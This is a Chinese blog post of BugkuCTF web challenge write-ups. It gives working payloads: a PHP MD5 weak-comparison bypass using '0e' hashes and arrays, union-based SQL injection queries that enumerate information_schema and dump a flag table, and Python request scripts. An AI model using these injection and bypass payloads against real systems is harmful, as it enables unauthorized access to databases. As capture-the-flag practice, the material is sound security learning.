BugkuCTF-WEB部分题解（二）

原创

flying_bird2019 于 2020-03-13 15:38:33 发布 351 收藏

文章标签： web

本文链接：https://blog.csdn.net/flying_bird2019/article/details/104709613

输入密码得到flag

这道题直接**暴力破解**

在使用**Burp Suite**时候设置完**Number range** 开始爆破出现错误**Invalid number settings**

百度得以下解决方法

> 如果点击start attrack 后出现 Payload set 1: Invalid number settings 的提示，先点hex 后点 decimal 再开始start attrack，这是一个软件bug，需要手动让它刷新。

解决问题后爆破得**flag**

备份是个好习惯

御剑扫描网站发现**index.php.bak**(后缀为.bak为备份文件)

访问** /index.php.bak **下载文件打开

审计代码

```php
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>
```


1.$_SERVER[‘REQUEST_URI’]

2.strstr()

3.substr()

4.str_replace()

5.parse_str()

分析

1.根据代码原页面输出的是变量key1和key2 MD5后的值
2.绕过str_replace('key',$str) 变量名可取'kkeyey1'和'kkeyey2'
3.判断需借助**php弱类型**进行**MD5碰撞**

那么，如何绕过两个不同的值有**相同的 MD5**?

MD5值比较相等（PHP弱类型）

在PHP中，== 在进行比较的时候，会先将字符串类型转化成相同，再比较。注意，如果比较一个数字和字符串 或者比较涉及到数字内容的字符串时，则字符串会被转换成数值并按照数值来进行比较。

举个小例子:

var_dump('asdas', 0); 和 var_dump('0asdas', 0); 的结果都是true。

所以，本题是要两MD5值的字符格式要么全部是字符，要么前面数字是0。

1. 我们都知道，MD5 加密是对字符串进行加密，那么如果我们传入的不是字符串，而是一个数组呢？ 它没法进行加密，返回空，结果不就相等了吗?
2. 众所周知，科学计数法是 *e***** ,那么要使两个数的值相等，就只能是 0e***** ，所以只要找到两个加密之后是 0e 开头的数字，就可以绕过限制了。

方法一:

构造

http://123.206.87.240:8002/web16/?kkeyey1=240610708&kkeyey2=QNKCDZO

(两个变量的值MD5后均为0E开头，php处理进行弱类型比较得0=0，结果为真)

方法二:

根据前面的分析，我们可以构造:

http://123.206.87.240:8002/web16/?kkeyey1[]=wsafe&kkeyey2[]=sjkfsfd

更多关于MD5碰撞

以上分析部分借鉴大佬题解

成绩单（SQL注入）

随便输入一个参数

龙龙龙的成绩单

Math	English	Chinese
60	60	70

猜测应该是按表的索引查询（select ... where id='')

猜测应该是按表的索引查询（select ...where id= ）

尝试联合注入

id = ' union select 1,2,3,4# //2，3，4有返回

注入

id = ' union select 1,2,3,database()# //得到数据库名skctf_flag

1的成绩单

Math	English	Chinese
2	3	skctf_flag

接下来获取该数据库中的表

id = ' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# //得到两个表fl4g和sc

1的成绩单

Math	English	Chinese
2	3	fl4g,sc

接下来获取fl4g表中的字段名

id = ' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'# //敏感表名应加' '否则应将其编码为十六进制(0x666c3467)绕过，得到字段skctf_flag

1的成绩单

Math	English	Chinese
2	3	skctf_flag

获取字段中的值

id = ' union select 1,2,3,skctf_flag from fl4g# //得到flag

1的成绩单

Math	English	Chinese
2	3	BUGKU{Sql_INJECT0N_4813drd8hz4}

方法二 使用sqlmap 详情

秋名山老司机

题目要求在两秒内post返回算数的值
使用python模拟登录网站算出结果post返回
写一个python脚本

```python
import requests
import re

url="http://123.206.87.240:8002/qiumingshan/"
s=requests.Session()
source=s.get(url)
text=re.search(r'(\d+[+\-*])+(\d+)',source.text).group()
r=eval(text)
post={'value':r}
print(s.post(url,data=post).text)
```


得到flag (可能不会一次性返回成功，需要尝试多次)

速度要快

在响应头里发现了：

```
Expires: Thu, 19 Nov 1981 08:52:00 GMT
flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTWpBNU5URXg=
```

据其他的writeup所说该flag为变化的
用python脚本模拟登录获取响应头的flag，base64解码后post提交

```python
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
#b64decode后操作的对象是byte类型的字符串，而split函数要用str类型
payload={"margin": key}
print(s.post(url,data=payload).text)

```


关于byte类型与str类型 见详情